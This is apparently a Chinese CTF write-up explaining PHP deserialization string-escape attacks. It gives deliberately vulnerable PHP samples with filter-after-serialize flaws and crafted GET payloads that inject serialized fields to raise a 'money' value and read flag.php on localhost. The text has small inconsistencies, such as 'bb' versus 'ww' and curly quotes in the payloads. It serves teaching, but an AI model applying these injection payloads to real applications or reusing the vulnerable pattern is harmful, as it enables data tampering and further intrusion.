反序列化字符串逃逸常见于CTF中,所以在这里记录下
导致反序列化字符串逃逸的原因:是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE。
0x01:Track
在学习反序列化字符串逃逸之前,首先要了解反序列化的一些小Track:
-
php在反序列化时,底层代码是以 ; 作为字段的分隔,以 ;} 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。 class A{
public $T1 = '123';
public $T2 = 'abc';
}
$a = new A();
$b = serialize($a);
echo $b;
echo "\n";
var_dump(unserialize($b));
echo "\n";
$bad = 'O:1:"A":2:{s:2:"T1";s:3:"123";s:2:"T2";s:3:"abc";}s:2:"T3";s:4:"test";}';
echo $bad;
echo "\n";
var_dump(unserialize($bad));
可以看到,超出的部分并不会被反序列化成功,而是只序列化O:1:"A":2:{s:2:"T1";s:3:"123";s:2:"T2";s:3:"abc";} 的内容,这也就说明了在反序列化的时候是有一定的识别范围的,在这个范围之外的字符都会被忽略,不会影响反序列化的正常进行。而且可以看到反序列化字符串都是以";} 结束的,那如果把";} 添入到需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容也就自然读取不到,从而添加我们想要反序列化的数据。 -
元素长度必须一致,这是因为反序列化时,反序列化引擎是根据长度来判断的,比如在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败 -
反序列化是可以反序列化原本不存在的元素
0x02:字符串逃逸的特点
1.在数据进行序列化后进行了过滤或者是字符替换
2.通过过滤或者字符替换导致字符串长度发生变化
0x03:过滤后导致序列化字符串变长
示例代码:
<?php
highlight_file(__FILE__);
function filter($str){
return preg_replace( '/i/','ww', $str);
}
$login['name'] = $_GET['name'];
$login['money'] = '999';
$new = filter(serialize($login));
printf($new."</br>");
$last = unserialize($new);
var_dump($last);
if($last['money']<1000){
echo "You need more money";
}else{
echo file_get_contents('flag.php');
}
?>
以上代码的流程为,先序列化代码,然后再对不希望出现的字符进行过滤,将i替换成ww,然后进行反序列化,如果反序列化之后,money>1000,则读取flag.php。我们的要求是如何在不直接修改$money值的情况下间接修改$money的值,从而去读取flag。
我们先正常输入去触发过滤看看
可以看到,可以看到我们输入whoami被过滤替换为whoambb,但是长度还是6,这就导致后面的报错,因为我们在上面也提到:在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。 而s 取决我们最原始的输入长度。
那我们想去修改money的值,我们就需要构造序列化后的字符,";s:5:"money";s:4:"1000";} 去闭合前面的序列化字符串,由于序列化字符串是以 ;} 作为结尾的,那么我们就可以去构造序列化字符串进行闭合,使得后面的字符";s:5:"money";s:3:"999";} 不被识别。
但是s指定长度必须与后面字符长度相匹配 ,而我们构造的序列化字符";s:5:"money";s:4:"1000";} ,长度为26,我们分析代码已经知道了当输入一个i会替换成bb,如果我们输入26个i,那么就会被替换成52个bb,那么我们可以原始输入26个i,加上构造的反序列化字符串";s:5:"money";s:4:"1000";} ,刚好是52位。
原始输入:iiiiiiiiiiiiiiiiiiiiiiiiii";s:5:“money”;s:4:“1000”;} //52位字符
过滤替换:wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww //52位字符
可以看出,过滤的序列化字符已经被52个w填充了,使得构造的反序列化字符串";s:5:"money";s:4:"1000";} 成功逃逸,通过后续的反序列化修改了money的值,而原来的序列化字符";s:5:"money";s:3:"999";} 则会被忽略,因为序列化字符串是以 ;} 作为结尾的,我们已经在构造的字符串中进行闭合。
payload: http://127.0.0.1/flag/index2.php?name=iiiiiiiiiiiiiiiiiiiiiiiiii";s:5:“money”;s:4:“1000”;}
由于file_get_contents读取到的是php代码的话,就只会返回源码,查看源代码,找到flag
0x04:过滤后导致序列化字符串变短
修改下源码
<?php
show_source("index.php");
function filter($str){
return preg_replace( '/abc|zxhh/','', $str);
}
$login['name'] = $_GET['name'];
$login['pwd'] = $_GET['pwd'];
$login['money'] = '999';
$new = filter(serialize($login));
printf($new."</br>");
$last = unserialize($new);
var_dump($last);
if($last['money']<1000){
echo "You need more money";
}else{
echo file_get_contents('flag.php');
}
?>
可以看到,会通过数组的形式接收通过GET方式传进来的参数name和pwd,而money还是固定的,接着会将序列化后的字符进行过滤,这次是替换为空,也就是说,如果触发过滤,那么序列化字符串就会变短,这题还是考怎样去间接修改money的值,从而读取flag。
首先我们正常输入看看
首先我们会想到的还是通过";} 在";s:5:"money";s:3:"999";} 前去闭合,然后构造我们想要的序列化字符,将原始的money值挡在序列化字符串之外。
构造测试语句:http://127.0.0.1/flag/index.php?name=123&pwd=123";s:5:"money";s:4:"1000";} 发现并没有将我们构造的语句拼接到序列化中去,而是变成字符的形式,可以发现pwd的长度为29。这时,我们就要想到序列化的字符会进行过滤,当遇到abc或zxhh敏感字符就会替换为空。那我们这里就可以故意将敏感字符作为name的输入,通过替换为空来实现字符逃逸,如果输入7个abc后,name指定的字符依然不变,也就是说会空出24个字符,而这24个字符则会往后进行填充。那我们就可以在pwd补充字符,来将前面的序列化字符串变成name的内容,接着再在后面构造我们需要的序列化字符。
payload: http://127.0.0.1/flag/index.php?name=abcabcabcabcabcabcabc&pwd=123";s:5:“money”;s:4:“1000”;s:8:“Keepb1ue”;s:4:“1000”;}
构造payload我们只需要算出需要填充多少字符即可,";s:3:"pwd";s: 长度是不变的,我们需要考虑的是pwd的值的长度,比如我们输入的是8个abc,那就是会空出24个字符,那么就需要往name值填充24个字符,而";s:3:"pwd";s: 已经占了14个字符,加上s指向的长度,整条payload的长度一般是没有超过100的,也就是长度为2,所以也就是";s:3:"pwd";s:xx:" ,长度为18,所以我们只需要在pwd输入6个字符即可。
构造payload:
http://127.0.0.1/flag/index.php?name=123abcabcabcabcabcabcabcabc&pwd=123456";s:5:“money”;s:4:“1000”;s:5:“mone3”;s:4:“1000”;}
这里有人会发现多出来个s:5:"mone3";s:4:"1000" ,这是因为序列化元素为3个,而pwd元素我们已经填充到name的值中去了,所以需要在加一个元素。
|